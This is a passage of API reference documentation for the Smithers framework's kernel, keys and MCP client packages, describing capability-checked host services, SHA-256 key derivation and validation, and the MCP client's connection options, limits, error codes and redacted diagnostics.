The projection and its inverse. The reason is always a `TransportError`,
because the request did not leave the host; `description` carries
`Permission.formatError` and `cause` carries the structured failure. Recovery
returns the original cause as data-only `PermissionErrorPayload` when a
`TransportError` cause passes `Permission.isPermissionError`. This validates
structure, not origin; establish producer or request identity separately across
a trust boundary. Import `decodePermissionError` from `@smthrs/capability`
for a yieldable instance.

### HttpClient.makeNoop and layerNoop

```ts
const makeNoop: () => HttpClient
const layerNoop: () => Layer.Layer<HttpClient>
```

An unavailable client. Every request fails with a `TransportError` naming the
request and the cause `"HTTP is unavailable on this host"`.

### HttpClient.layer

```ts
const layer: Layer.Layer<HttpClient, never, HttpClient | GrantStore>
```

The decorator. GET and HEAD use `net:get` and every other method uses
`net:post`. For an `https:` URL the resource is the lowercased URL host; for
any other scheme it is `<scheme>//<lowercased host>`. In other words `https` is
the implicit scheme: `https://EXAMPLE.test/x` names `example.test`, while
`http://EXAMPLE.test/x` names `http://example.test`, so a host grant never
authorizes a cleartext downgrade. A trailing dot is dropped from the host, so
`https://example.test./x` also names `example.test`. Requests are snapshotted before any
suspension. By default, redirects are followed **above** the guard, so every hop re-enters
authorization independently. The client below the guard must not follow
redirects on its own. The decorator forces `RequestInit { redirect: "manual" }`
for each request it executes, which covers a plain `FetchHttpClient.layer`; a
custom client that ignores `RequestInit` must meet that precondition itself.

A caller that provides `FetchHttpClient.RequestInit` with `redirect: "manual"`
receives one authorized hop, including its redirect response. The caller owns
any redirect loop and its hop limit; each subsequent request through this
client still requires authorization. Other caller options are preserved.
The raw host client's private manual-redirect setting does not disable the
decorator's default redirect following.

## Jj

### Jj re-exports

```ts
export { Jj, layerNoop, make, makeNoop } from "@smthrs/jj"
```

The tag and its constructors, unchanged.

### Jj.layer

```ts
const layer: Layer.Layer<Jj, never, Jj | FileSystem.FileSystem | Path.Path | Workspace | GrantStore>
```

Operation-specific capability checks: `jj:status` on `"."`, `jj:diff` on
`<from>:<to>`, `jj:snapshot` on the message, `jj:restore` and `jj:revert` on
the change id, `jj:workspace-add` on the canonicalized destination (which also
requires `fs:write` on it), `jj:workspace-forget` on the workspace name, and
`jj:root` on the canonicalized starting directory, and `jj:op-restore` on the
operation id. `workspaceAdd` and `root`
canonicalize through the **raw** filesystem first, so an existing symlink
cannot turn an inside-workspace grant into outside authority or separate the
authorized path from the directory jj runs in.

Smithers owns this service, so its interface names
`Permission.PermissionError` directly and nothing is projected.

## Path

```ts
type Path = EffectPath.Path
const Path = EffectPath.Path
const layer: Layer.Layer<Path, never, Path | Workspace>
```

Effect's path service with relative paths resolved against `Workspace.root`.
Path manipulation is pure and lexical, so it requires no capability check; the
explicit layer proves that every member of the closed list has a kernel
decision.

## Rooted

```ts
const path: (base: Path.Path, root: string) => Path.Path
const fileSystem: (base: FileSystem.FileSystem, rooted: Path.Path) => FileSystem.FileSystem
const command: (value: ChildProcess.Command, rooted: Path.Path) => ChildProcess.Command
const spawner: (
  base: ChildProcessSpawner["Service"],
  rooted: Path.Path
) => ChildProcessSpawner["Service"]
const layer: (
  root: string
) => Layer.Layer<
  FileSystem.FileSystem | Path.Path | ChildProcessSpawner,
  never,
  FileSystem.FileSystem | Path.Path | ChildProcessSpawner
>
```

Unguarded services bound to one directory. Every relative path, and every
command without a `cwd`, resolves against `root`; absolute paths and symlink
targets pass through. `spawner` keeps a contained base contained. `layer`
decorates the services it is provided in place. `Path.layer` and
`ChildProcessSpawner.layer` root the guarded surface with the same functions.

## Workspace

```ts
interface Service {
  readonly root: string
}

class Workspace extends Context.Service<Workspace, Service>()("@smthrs/kernel/Workspace") {}

const make: (root: string) => Service
const layer: (root: string) => Layer.Layer<Workspace>
const makeNoop: Service // root "."
const layerNoop: Layer.Layer<Workspace>
```

The workspace root that makes filesystem capability resources stable. It lives
beside the closed host list rather than in a platform package: a workspace root
is a policy decision the kernel needs before it can name a filesystem
capability, not something a platform can answer.

## HostError

```ts
type HostError = JjError
```

A type union, not a re-export: import the error itself from
[`@smthrs/jj`](/docs/reference/api/jj/). Process execution is absent on purpose, because it is
Effect's `ChildProcessSpawner` and fails with `PlatformError` like the rest of
Effect's platform surface.

## Test subpaths

For a deterministic host, use `@smthrs/testing/TestHost`. Install it with
`npm install --save-dev @smthrs/testing@next`; see [Testing](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/kernel/docs/testing.md).

### @smthrs/kernel/test/TestGrantStore

```ts
const layerAllow: Layer.Layer<GrantStore>
const layerDeny: (reason?: string) => Layer.Layer<GrantStore>
const layerScripted: (replies: ReadonlyArray<GrantStore.Resolution>) => Layer.Layer<GrantStore>
```

`layerDeny` defaults to the reason `"denied by test"`. `layerScripted` consumes
one reply per check: `once`, `run`, and `remembered` allow it, `deny` rejects
it, and exhausting the script rejects with
`"permission reply script exhausted"`. None of the three requires a
`Workspace`.

### @smthrs/kernel/test/contract

```ts
const runHostContract: (
  name: string,
  layer: HostContractLayer,
  caps: HostContractCapabilities
) => void
```

Registers the shared behavioral contract for a complete host bundle:
`FileSystemSuccess` or `FailureCapability` per slot, plus `PathSuccess`,
`ChildProcessSuccess`, `JjSuccess`, and `HttpClientSuccess` with its three
probes. `FileSystemOperations` and `JjOperations` are exported so an adapter can
enumerate what it must declare. Node-only, and requires the
`@effect/vitest` and `vitest` peers. See
[Adapt a new host platform](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/kernel/docs/guides/adapt-a-new-host-platform.md).

## Identity, failures, and bounds

Capability actions and resources, patterns, run ids, plan digests, request ids,
and grant metadata are identity-bearing values. Smithers does not apply Unicode
normalization: matching, signatures, and journal replay use the exact
JavaScript string and UTF-16 code-unit sequence supplied. Identity fields that
require well-formed text reject lone surrogates and NUL where their contract
forbids it.

Permission failures retain stable codes: `permission_required`,
`permission_denied`, and the `GrantStoreErrorCode` values `duplicate_request`,
`request_not_found`, `journal_failed`, `store_closed`, and
`invalid_resolution`. The kernel's in-memory store raises the last four;
`duplicate_request` is part of the vocabulary for an attended surface of your
own. Platform projections preserve the structured value as their cause.
Validation errors identify the rejected field but never retain or print
unbounded hostile input.

## What the kernel does not do

:::warning
The kernel checks capabilities at adapter call sites. Child processes require a host `ProcessConfinement` to enforce filesystem and network grants in the operating system. An explicit unconfined layer leaves child access outside the kernel boundary. Hermetic build execution additionally requires a `StepBoundary`.
:::

See [Capabilities and the host kernel](/docs/concepts/kernel/) and the platform
bundles that satisfy these ports: [`@smthrs/platform-node`](/docs/reference/api/platform-node/),
[`@smthrs/platform-browser`](/docs/reference/api/platform-browser/), and
[`@smthrs/platform-bun`](/docs/reference/api/platform-bun/).

## Web destination pinning

`HttpClient.Destination` carries an immutable `{ origin, addresses }` snapshot
for one authorized web request. `HttpClient.withDestinationPinning(client)` marks only the exact trusted
client instance that
rejects origin mismatches, pins every socket and proxy tunnel to the approved
addresses, preserves HTTP Host and TLS verification, and prevents reuse of
connections from another admission. Custom clients must implement this
contract before marking the client. Replacing the client does not inherit the assertion;
the kernel guard preserves it when wrapping a supported client. The standard Node and Bun host
bundles implement it. `HttpClient.supportsDestinationPinning(client)` reports
whether that exact client is marked. Model requests leave `Destination` unset.

`HttpClient.ResolveHost` is the reference a web tool reads to turn a request's
hostname into the addresses it checks and then pins. The resolver and the
pinning client must come from the same host, so `@smthrs/platform-node`'s
`EgressHttpClient.layer` provides both, on Node and on Bun. The default
resolves nothing and fails with `HttpClient.ResolveHostUnavailable({ hostname,
reason })`. That is the answer in a browser tab or a Cloudflare Worker, where
the platform mediates the network: such a host can neither look a name up nor
hold a connection to the addresses a lookup returned, so a web request that
needs a name is refused, never sent unchecked. A test provides its own:

```ts
import { HttpClient } from "@smthrs/kernel"
import { Effect } from "effect"

const pinned = Effect.provideService(HttpClient.ResolveHost, () => Effect.succeed(["192.0.2.10"]))
```

## Unreachable

`Unreachable.Unreachable({ message, cause? })` is a schema-backed infrastructure
failure. `Unreachable.classifyExit(stderr)` returns it for known DNS and transport
signatures, including `EAI_AGAIN`, `ENOTFOUND`, HTTP 429 and HTTP 5xx; it returns
`undefined` for other command failures. Pass stderr from a failed command only.
The message retains the diagnostic and the optional cause retains the source.
Import from `@smthrs/kernel` or `@smthrs/kernel/Unreachable`. The fault registry
classifies this tag as `infra`.

---

# @smthrs/keys
https://smithers.sh/docs/reference/api/keys/

> **Source:** [implementation](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/keys/src) · [reference source](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/keys/docs/api.md) · [package docs](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/keys/docs)

> **Related APIs:** [`@smthrs/canonical`](/docs/reference/api/canonical/) · [`@smthrs/crypto`](/docs/reference/api/crypto/)

Every name below is available from the root entry point and from
`@smthrs/keys/Key`. Each is defined in the source file that carries its name.

```ts
import { DerivedKey, deriveKey, digest, KeyDerivationError, KeyV1, StoredKey } from "@smthrs/keys"
```

## Derivation

Both entry points perform the same three steps: canonicalize with
[`@smthrs/canonical`](/docs/reference/api/canonical/), hash the canonical UTF-8 document with
SHA-256 through the injected Effect `Crypto` service that
[`@smthrs/crypto`](/docs/reference/api/crypto/) wraps, and prefix the lowercase digest with
`key1_`. Neither validates an existing key. See
[Key derivation](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/keys/docs/concepts/key-derivation.md).

### deriveKey

```ts
const deriveKey: (input: unknown) => Effect.Effect<KeyV1, KeyDerivationError, Crypto.Crypto>
```

Derives the current key format from structured input.

- `input`: any value with a canonical form. Values without one fail; see
  [Key material](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/keys/docs/concepts/key-material.md).
- Returns a branded `KeyV1`, always 69 characters.
- Requires `Crypto.Crypto` from `effect/Crypto`. A missing service is an
  unsatisfied Effect requirement and therefore a configuration defect, not a
  `KeyDerivationError`.
- Fails with `KeyDerivationError`.

```ts
import * as NodeCrypto from "@effect/platform-node/NodeCrypto"
import { deriveKey } from "@smthrs/keys"
import * as Effect from "effect/Effect"

const key = await Effect.runPromise(
  deriveKey({ domain: "example/compile", version: 1, source: "main.ts" }).pipe(
    Effect.provide(NodeCrypto.layer)
  )
)
// key1_74a286a394e4b0619c05801dd4e7315deeb83b8203cd3c3ee7cd6033ec55c683
```

### DerivedKey

```ts
const DerivedKey: Schema.Codec<KeyV1, unknown, Crypto.Crypto, never>
```

The same derivation as a schema transformation, for composing inside a decode.
Decoding requires the `Crypto` service; encoding requires none.

- Decoding derives a fresh key from whatever it is given. Decoding the text
  `key1_...` hashes that text into a different key; it does not parse it. Use
  `StoredKey` for that.
- Encoding is forbidden and reports
  `A key cannot be converted back into its input`.
- Operational failures become `SchemaError` issues whose message is
  `[<code>] <message>`. The typed `KeyDerivationError` is retained on the
  failing issue's annotations as `cause`, next to the stable `code`.
- The schema pins `parseOptions: { reportInput: false }`, so its own
  `InvalidValue` and `Encoding` issues omit input even when the caller requests
  input reporting. Enclosing schemas such as `Struct` and `Array` decoded with
  `{ reportInput: true }` retain the entire enclosing input on their own
  `Composite` issue, including key material. Keep input reporting off at the
  outer decoding boundary, or strip issue inputs before retaining diagnostics.
  See the [boundary annotation example](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/keys/docs/guides/derive-a-key-inside-a-schema.md#input-reporting-stops-at-the-derivedkey-boundary).
- Annotated with the identifier `@smthrs/keys/Key`.

```ts
import { DerivedKey } from "@smthrs/keys"
import * as Schema from "effect/Schema"

const program = Schema.decodeUnknownEffect(DerivedKey)({ domain: "example/compile", version: 1 })
```

See [Derive a key inside a schema](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/keys/docs/guides/derive-a-key-inside-a-schema.md).

## Validation

Validation returns the input text unchanged, performs no hashing, and requires
no `Crypto` service.

### StoredKey

```ts
const StoredKey: typeof KeyV1
type StoredKey = typeof StoredKey.Type
```

Every stored-key representation this release understands. It is intentionally
equal to `KeyV1` today and is a separate export because its meaning is
different: `KeyV1` names one format, `StoredKey` names what the running release
can validate. Use `StoredKey` at persistence, RPC, journal, and
external-input boundaries.

A future format joins this schema only when its complete representation and
derivation are supported. Unknown `key<n>_` prefixes are rejected rather than
guessed.

```ts
import { StoredKey } from "@smthrs/keys"
import * as Schema from "effect/Schema"

const key = Schema.decodeUnknownSync(StoredKey)(persistedText)
```

### KeyV1

```ts
const KeyV1: Schema.Codec<KeyV1, string>
type KeyV1 = typeof KeyV1.Type
```

The exact persisted representation produced by the version-one derivation:
`key1_` followed by 64 lowercase hexadecimal characters, 69 characters in
total. Branded as `@smthrs/keys/Key`, so the type is only obtainable by
decoding.

Rejected input includes `key2_`, `key0_`, `key01_`, an uppercase digest, a
payload that is not exactly 64 hexadecimal characters, the empty string, and
any non-string. The rejection message is
`Expected key1_ followed by a 64-character lowercase hexadecimal SHA-256 digest`.

Unlike `DerivedKey`, this schema does not suppress input reporting: a caller
that decodes with `{ reportInput: true }` gets the rejected text back in the
message.

### digest

```ts
const digest: (key: StoredKey) => Digest
```

Returns the validated SHA-256 payload of a stored key: the 64 lowercase
hexadecimal characters after the prefix. `Digest` is the branded digest type
from [`@smthrs/crypto`](/docs/reference/api/crypto/).

The function takes an already-validated `StoredKey` and does not re-check it.
It exists so that prefix knowledge stays in this package instead of spreading
into `slice` calls and delimiter searches at every call site.

```ts
import { digest, StoredKey } from "@smthrs/keys"
import * as Schema from "effect/Schema"

const payload = digest(Schema.decodeUnknownSync(StoredKey)(persistedText))
// 74a286a394e4b0619c05801dd4e7315deeb83b8203cd3c3ee7cd6033ec55c683
```

## Errors

### KeyDerivationError

```ts
class KeyDerivationError extends Schema.TaggedError<KeyDerivationError>()(
  "@smthrs/keys/KeyDerivationError",
  { code: KeyDerivationErrorCode, message: Schema.String }
) {
  constructor(
    props: { readonly code: KeyDerivationErrorCode; readonly message: string; readonly cause?: unknown },
    options?: Schema.MakeOptions
  )
}
```

The only failure `deriveKey` reports.

- `code`: stable, for control flow.
- `message`: one of two fixed sentences,
  `Key input could not be canonicalized` or
  `Canonical key material could not be hashed`. It never contains the input.
- `cause`: the original schema or crypto failure, retained in process for
  diagnostics. A canonicalization cause names the JSON path of the offending
  value, which includes object property names. `cause` is a non-enumerable
  runtime property, not a schema field: encoding the error, including through
  `Schema.toCodecJson`, carries only `_tag`, `code`, and `message`. See
  [Handle a derivation failure](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/keys/docs/guides/handle-a-derivation-failure.md).

### KeyDerivationErrorCode

```ts
const KeyDerivationErrorCode: Schema.Literals<["canonicalization_failed", "digest_failed"]>
type KeyDerivationErrorCode = typeof KeyDerivationErrorCode.Type
```

| Code                      | Meaning                                                              |
| ------------------------- | -------------------------------------------------------------------- |
| `canonicalization_failed` | The input has no accepted canonical form.                            |
| `digest_failed`           | The injected SHA-256 operation failed or returned an invalid digest. |

A missing `Crypto.Crypto` service is deliberately not a member. It remains an
unsatisfied Effect requirement, which is a configuration defect rather than a
provided host failing an operation.

## Ownership

Only this package owns the `key<n>_` wire form; treat a key as opaque
everywhere else. Canonicalization rules belong to
[`@smthrs/canonical`](/docs/reference/api/canonical/), and SHA-256 input and host rules belong
to [`@smthrs/crypto`](/docs/reference/api/crypto/). Domain material belongs to each caller: see
[Separate identity namespaces](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/keys/docs/guides/separate-identity-namespaces.md).

A future version arrives as an additional member of `StoredKey`, never as a
loosened `KeyV1`, so keys you have already stored keep validating. See
[the wire format](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/keys/docs/concepts/wire-format.md).

---

# @smthrs/mcp
https://smithers.sh/docs/reference/api/mcp/

> **Source:** [implementation](https://github.com/smithersai/smithers/tree/main/packages/smithers/mcp/src) · [reference source](https://github.com/smithersai/smithers/blob/main/packages/smithers/mcp/docs/api.md) · [package docs](https://github.com/smithersai/smithers/tree/main/packages/smithers/mcp/docs)

> **Related APIs:** [`@smthrs/canonical`](/docs/reference/api/canonical/) · [`@smthrs/capability`](/docs/reference/api/capability/) · [`@smthrs/core`](/docs/reference/api/core/) · [`@smthrs/harness`](/docs/reference/api/harness/) · [`@smthrs/journal`](/docs/reference/api/journal/) · [`@smthrs/kernel`](/docs/reference/api/kernel/)

`@smthrs/mcp` exports four modules from its root entry point, and each is also
importable from `@smthrs/mcp/<Module>`:

```ts
import { Diagnostics, McpClient, McpError, McpFlows } from "@smthrs/mcp"
// or
import * as McpClient from "@smthrs/mcp/McpClient"
```

`@smthrs/mcp/internal/*` and `@smthrs/mcp/*/index` are not public, so the
JSON-RPC codec and the stdio and HTTP transports are not importable.
`@smthrs/mcp/package.json` is exported.

`McpError` is a namespace under both import forms. The error class is
`McpError.McpError`.

For the flow-binding contract this package implements, see the
[`@smthrs/harness` reference](/docs/reference/api/harness/). For the action vocabulary
`McpFlows.capabilities` is derived from, see the
[`@smthrs/capability` reference](/docs/reference/api/capability/).

## Example

```ts
import * as McpFlows from "@smthrs/mcp/McpFlows"
import { Effect } from "effect"

const program = Effect.scoped(Effect.gen(function*() {
  const source = yield* McpFlows.connected({
    server: "github",
    // Installed with --ignore-scripts at an exact version; see the Connect a server guide.
    command: "/path/to/mcp-servers/node_modules/.bin/mcp-server-github",
    args: []
  })
  return yield* source.bindings()
}))
```

## McpClient

A minimal MCP client covering the `initialize` handshake, `tools/list`, and
`tools/call` over stdio or Streamable HTTP. It is deliberately not a general MCP SDK: resources,
prompts, sampling, and roots are not wired up.

### McpClient.connect

```ts
const connect: <O extends ConnectOptions>(
  options: O
) => Effect.Effect<McpClient, McpError, Requirements<O> | Scope.Scope>
```

Spawns the server (`command`) or opens a Streamable HTTP session (`url`),
completes the handshake, and fetches its tool catalog once, up front, following
`nextCursor` across pages.

Requires a `Scope`, plus `ChildProcessSpawner` for `command` or `HttpClient`
for `url` (`Requirements<O>`). The connection's lifetime is the scope's
lifetime: closing the scope tears the process down or ends the HTTP session,
and every stdio request pending at that moment fails with `connection_closed`.

Over HTTP, a destination the `HttpClient`'s egress policy denies and an
unreachable server fail with `connection_closed`; a non-2xx answer fails with
`protocol_error`; a `404` for an established session fails with
`connection_closed` and is not retried.

Fails with `spawn_failed` when the process will not start, `protocol_error` when
an option is invalid or negotiation fails, and `invalid_response` when the
catalog breaks one of the rules in
[Bound an untrusted server](https://github.com/smithersai/smithers/blob/main/packages/smithers/mcp/docs/guides/bound-an-untrusted-server.md).

### McpClient.McpClient

A live session.

```ts
interface McpClient {
  readonly server: string
  readonly tools: ReadonlyArray<ToolDescription>
  readonly callTool: (
    name: string,
    args: Record<string, unknown>
  ) => Effect.Effect<ToolResult, McpError>
}
```

| Member     | Meaning                                                                                                                                                                   |
| ---------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `server`   | The name this session was connected under. It is the default flow-name prefix and appears in every error message.                                                         |
| `tools`    | The catalog as fetched at connect time, in the order the server listed it. A snapshot: this client never re-polls it.                                                     |
| `callTool` | Calls one catalogued tool. An unknown name fails with `tool_not_found` before a JSON-RPC frame is written. Declared structured output is validated before it is returned. |

### McpClient.ToolDescription

One remote tool as the server describes it.

| Field          | Type                                   | Meaning                                                                                                |
| -------------- | -------------------------------------- | ------------------------------------------------------------------------------------------------------ |
| `name`         | `string`                               | The tool's name. Never empty, `.`, or `..`; never containing `/` or an invisible or control character. |
| `description`  | `string \| undefined`                  | The server's description, when it sent a string.                                                       |
| `inputSchema`  | `Record<string, unknown>`              | The tool's parameter shape, a JSON Schema document with `type: "object"`.                              |
| `outputSchema` | `Record<string, unknown> \| undefined` | The tool's structured result shape, when the server disclosed one.                                     |

### McpClient.ToolResult

The result of one `tools/call`.

| Field               | Type                                     | Meaning                                                                                           |
| ------------------- | ---------------------------------------- | ------------------------------------------------------------------------------------------------- |
| `content`           | `ReadonlyArray<Record<string, unknown>>` | The tool's content blocks, passed through by shape. `[]` for a structured-only result.            |
| `isError`           | `boolean`                                | Whether the tool reported a problem. A successful call may carry `true`; this is not a failure.   |
| `structuredContent` | `Record<string, unknown> \| undefined`   | The tool's structured result, validated against its declared `outputSchema` when it declared one. |

### McpClient.ConnectOptions

`StdioConnectOptions | HttpConnectOptions`. The stdio form:

| Field                   | Type                                               | Meaning                                                                                                   |
| ----------------------- | -------------------------------------------------- | --------------------------------------------------------------------------------------------------------- |
| `server`                | `string`                                           | The name this server is known by, for flow naming and error messages. Required.                           |
| `command`               | `string`                                           | The executable to spawn. Required.                                                                        |
| `args`                  | `ReadonlyArray<string>`                            | Its arguments. Required.                                                                                  |
| `cwd`                   | `string \| undefined`                              | The child's working directory.                                                                            |
| `env`                   | `Record<string, string \| undefined> \| undefined` | Values overlaid on the bootstrap child environment.                                                       |
| `handshakeTimeoutMs`    | `number \| undefined`                              | Deadline for each `initialize` and `tools/list` request. Default 10000.                                   |
| `requestTimeoutMs`      | `number \| undefined`                              | Deadline for each later tool request. Default 120000.                                                     |
| `queueCapacity`         | `number \| undefined`                              | Maximum outbound frames waiting to be written. Default 64.                                                |
| `maxFrameBytes`         | `number \| undefined`                              | Maximum UTF-8 bytes in one inbound JSON-RPC frame. Default 1048576.                                       |
| `maxOutboundFrameBytes` | `number \| undefined`                              | Maximum UTF-8 bytes in one outbound JSON-RPC frame. Default 1048576.                                      |
| `maxStderrBytes`        | `number \| undefined`                              | Maximum diagnostic stderr bytes retained in memory and rendered after credential redaction. Default 2048. |
| `maxTools`              | `number \| undefined`                              | Maximum tools accepted across every catalog page. Default 256.                                            |
| `maxToolNameBytes`      | `number \| undefined`                              | Maximum UTF-8 bytes in a tool name. Default 128.                                                          |
| `maxToolDocumentBytes`  | `number \| undefined`                              | Maximum UTF-8 bytes of one tool's description plus its JSON-encoded `inputSchema`. Default 65536.         |
| `maxCatalogPages`       | `number \| undefined`                              | Maximum `tools/list` pages walked. Default 32.                                                            |

`HttpConnectOptions` has `server`, the catalog limits, `requestTimeoutMs`,
`maxFrameBytes`, and `maxOutboundFrameBytes` from the table above, plus:

| Field          | Type                        | Meaning                                                                                        |
| -------------- | --------------------------- | ---------------------------------------------------------------------------------------------- |
| `url`          | `string`                    | The server's MCP endpoint, an absolute `http:` or `https:` URL without credentials. Required.  |
| `authProvider` | `AuthProvider \| undefined` | `{ token: Effect<Redacted<string>, McpError> }`, read once per HTTP message as a bearer token. |

Every numeric field must be a positive safe integer. Anything else fails with
`protocol_error` naming the option, before the process is spawned or a request
is sent.

A `url` is treated as a secret past its host, because an MCP endpoint often
carries its key in the path or the query. Each HTTP message opens one span
named for its method, `POST` or `DELETE`, that records the method, scheme, host,
port and answering status, never the path or the query. A span that failed
ends with `MCP server "..." answered with HTTP N` or
`MCP server "..." is not reachable; transport details withheld`. The span
records no header. A host that sets `HttpClient.TracerHeaderFilter` to record
headers gets `mcp-session-id`, the bearer `authorization`, and a redirect's
`location` and `content-location` as `<redacted>`.

The bootstrap child environment contains only `PATH`, `HOME`, `USER`, `LANG`,
`LC_*`, `TERM`, `TMPDIR`, and `SHELL`. Other ambient names are withheld;
entries in `env` are explicit declarations and are applied last.

### McpClient.ConnectOptionsSchema

```ts
const ConnectOptionsSchema = Schema.Struct({
  server: Schema.NonEmptyString,
  command: Schema.NonEmptyString,
  args: Schema.Array(Schema.String),
  cwd: Schema.optional(Schema.NonEmptyString),
  env: Schema.optional(Schema.Record(Schema.String, Schema.String)),
  // every limit, each a positive integer
  handshakeTimeoutMs: Schema.optional(PositiveInteger)
  // ...
})
```

The authoritative decoder for a persisted stdio MCP server entry. It requires
non-empty `server` and `command` strings, string `args`, an optional
string-valued `env` record, and positive integers for every limit. Use it
wherever connection options arrive from a file or a database.

### McpClient.HttpConnectOptionsSchema

```ts
const HttpConnectOptionsSchema = Schema.Struct({
  server: Schema.NonEmptyString,
  url: Schema.String, // absolute http: or https:, no userinfo
  bearerTokenEnv: Schema.optionalKey(Schema.String), // an environment variable name
  // every limit HttpConnectOptions accepts, each a positive integer
  requestTimeoutMs: Schema.optional(PositiveInteger)
  // ...
})
```

The authoritative decoder for a persisted Streamable HTTP server entry. It
requires a non-empty `server`, an absolute `http:` or `https:` `url` without
a user or password, and positive integers for every limit. The entry never
holds a credential: `bearerTokenEnv` names the environment variable the host
reads the bearer token from and supplies as `authProvider`.

### McpClient.clientInfo

```ts
const clientInfo: { readonly name: string; readonly version: string }
```

The frozen identity disclosed to every server during initialization:
`name` is `"smithers"` and `version` is this package's version. Not
configurable.

### McpClient.supportedProtocolVersions

```ts
const supportedProtocolVersions: ReadonlyArray<string>
```

The MCP revisions whose `tools/list` and `tools/call` shapes this client
decodes, frozen, always proposing the first entry:
`["2025-06-18", "2025-03-26", "2024-11-05"]`.

### Limit defaults

Each option's default is exported as a constant, so a caller can read or
adjust one without restating a literal.

| Constant                       | Value   | Option                  |
| ------------------------------ | ------- | ----------------------- |
| `defaultHandshakeTimeoutMs`    | 10000   | `handshakeTimeoutMs`    |
| `defaultRequestTimeoutMs`      | 120000  | `requestTimeoutMs`      |
| `defaultQueueCapacity`         | 64      | `queueCapacity`         |
| `defaultMaxFrameBytes`         | 1048576 | `maxFrameBytes`         |
| `defaultMaxOutboundFrameBytes` | 1048576 | `maxOutboundFrameBytes` |
| `defaultMaxStderrBytes`        | 2048    | `maxStderrBytes`        |
| `defaultMaxTools`              | 256     | `maxTools`              |
| `defaultMaxToolNameBytes`      | 128     | `maxToolNameBytes`      |
| `defaultMaxToolDocumentBytes`  | 65536   | `maxToolDocumentBytes`  |
| `defaultMaxCatalogPages`       | 32      | `maxCatalogPages`       |

`McpClient.maxJsonDepth` is a fixed safety limit of **128 nested containers**,
including the JSON-RPC envelope. Arrays and objects each count as one container;
scalar values do not. Both incoming messages and outgoing arguments obey it.
An inbound violation closes the connection with `protocol_error`; invalid
arguments fail before dispatch without closing an otherwise healthy session.
Incoming JSON numbers that overflow to infinity are also rejected.

Before copying arguments, the client accounts for their expanded JSON size
against `maxOutboundFrameBytes`. Reusing the same object under several properties
does not bypass that accounting. The transport additionally checks the exact
UTF-8 size of the full encoded frame. Neither bound limits a caller's own
already-allocated input object or time spent in caller-provided Proxy traps.

## McpError

The single typed error returned by the client and the flow adapter. Ordinary
tool outcomes stay in the success channel; this error is reserved for failures
of the MCP session itself.

### McpError.McpError

```ts
class McpError extends Schema.TaggedError<McpError>()("flows/mcp/McpError", {
  code: Code,
  message: Schema.String,
  server: Schema.optional(Schema.String)
}) {}
```

| Field     | Type                  | Meaning                                                                                                                                                                             |
| --------- | --------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `code`    | `Code`                | The stable, model-facing failure code.                                                                                                                                              |
| `message` | `string`              | A fixed failure summary naming the configured server, with a remote numeric error code when available. No child stderr, remote error prose/data, or user-controlled property paths. |
| `server`  | `string \| undefined` | The server the failure belongs to.                                                                                                                                                  |

The tag is `"flows/mcp/McpError"`, so `Effect.catchTag("flows/mcp/McpError", ...)`
matches it.

### McpError.Code

```ts
const Code = Schema.Literals([
  "spawn_failed",
  "connection_closed",
  "timeout",
  "protocol_error",
  "tool_not_found",
  "tool_failed",
  "invalid_response"
])

type Code = typeof Code.Type
```

| Code                | Meaning                                                                                          |
| ------------------- | ------------------------------------------------------------------------------------------------ |
| `spawn_failed`      | The server process would not start.                                                              |
| `connection_closed` | The process exited or a pipe closed while a request was outstanding.                             |
| `timeout`           | The server did not answer within the deadline for that method.                                   |
| `protocol_error`    | Negotiation failed, an envelope was malformed, or an option was invalid.                         |
| `tool_not_found`    | The catalog lacks a tool, `include` names a missing tool, or the server rejects an unknown tool. |
| `tool_failed`       | The server rejected a `tools/call` with a JSON-RPC error.                                        |
| `invalid_response`  | A well-formed reply carried a `tools/list` or `tools/call` payload this client rejects.          |

For which JSON-RPC errors become which code, see
[Handle a failed tool call](https://github.com/smithersai/smithers/blob/main/packages/smithers/mcp/docs/guides/handle-a-failed-tool-call.md).

## Diagnostics

Optional host-only diagnostics, separate from the model-facing `McpError`.
Install `Diagnostics.layer(report)` around the effect that opens the connection.
The connection captures that observer once. Without it, private details are
discarded rather than logged.

```ts
import { Diagnostics } from "@smthrs/mcp"

// A host-owned, bounded sink; this is not an agent or journal callback.
const privateDiagnostics = Diagnostics.layer((event) => {
  retainForLocalInspection(event)
})
```

`Diagnostics.Diagnostics` is the optional Context service. Its `report` callback
takes one `Diagnostics.Event`:

| Field       | Meaning                                                                                     |
| ----------- | ------------------------------------------------------------------------------------------- |
| `server`    | The host-configured server alias. Do not put credentials in aliases.                        |
| `source`    | `spawn`, `stderr`, `transport`, `remote-error`, `invalid-response`, or `invalid-arguments`. |
| `detail`    | `Redacted.Redacted<string>`, at most 16 KiB of UTF-8. May contain secrets.                  |
| `truncated` | Whether this event's private detail exceeded that 16 KiB bound.                             |

Ordinary JSON serialization and inspection hide `detail`. A trusted local host
can explicitly unwrap it with `Redacted.value`; it must control access and
retention and must never forward that value to agents, journals, traces, or
routine logs. The callback is synchronous: it must not block or retain an
unbounded event history. Callback and serialization exceptions are isolated
from the MCP connection. Diagnostic delivery is best effort, not an audit log.
On process or stdio closure, pending requests wait up to 250 ms for the stderr
reader to finish before receiving the terminal error. Request deadlines and
scope interruption can end that wait sooner. A pipe held open beyond that
budget contributes only the tail already read; it cannot hold shutdown open.
The separate `maxStderrBytes` limit applies before the observer sees a stderr
tail, so `truncated: false` does not imply the entire child output is present.

This protects session errors, not successful tool output. `content`,
`structuredContent`, and tool-reported `isError: true` results remain unchanged;
the host must choose which tool outputs it may expose.

## McpFlows

Projects a connected session's tool catalog as an ordinary
`FlowBinding.Source`, one flow per tool.

### McpFlows.connected

```ts
const connected: (
  options: McpClient.ConnectOptions & ProjectionOptions
) => Effect.Effect<FlowBinding.Source, McpError, ChildProcessSpawner | Scope.Scope>
```

Connects and projects in one step. This is the checked entry point: it validates
the projection options against the freshly fetched catalog, failing with
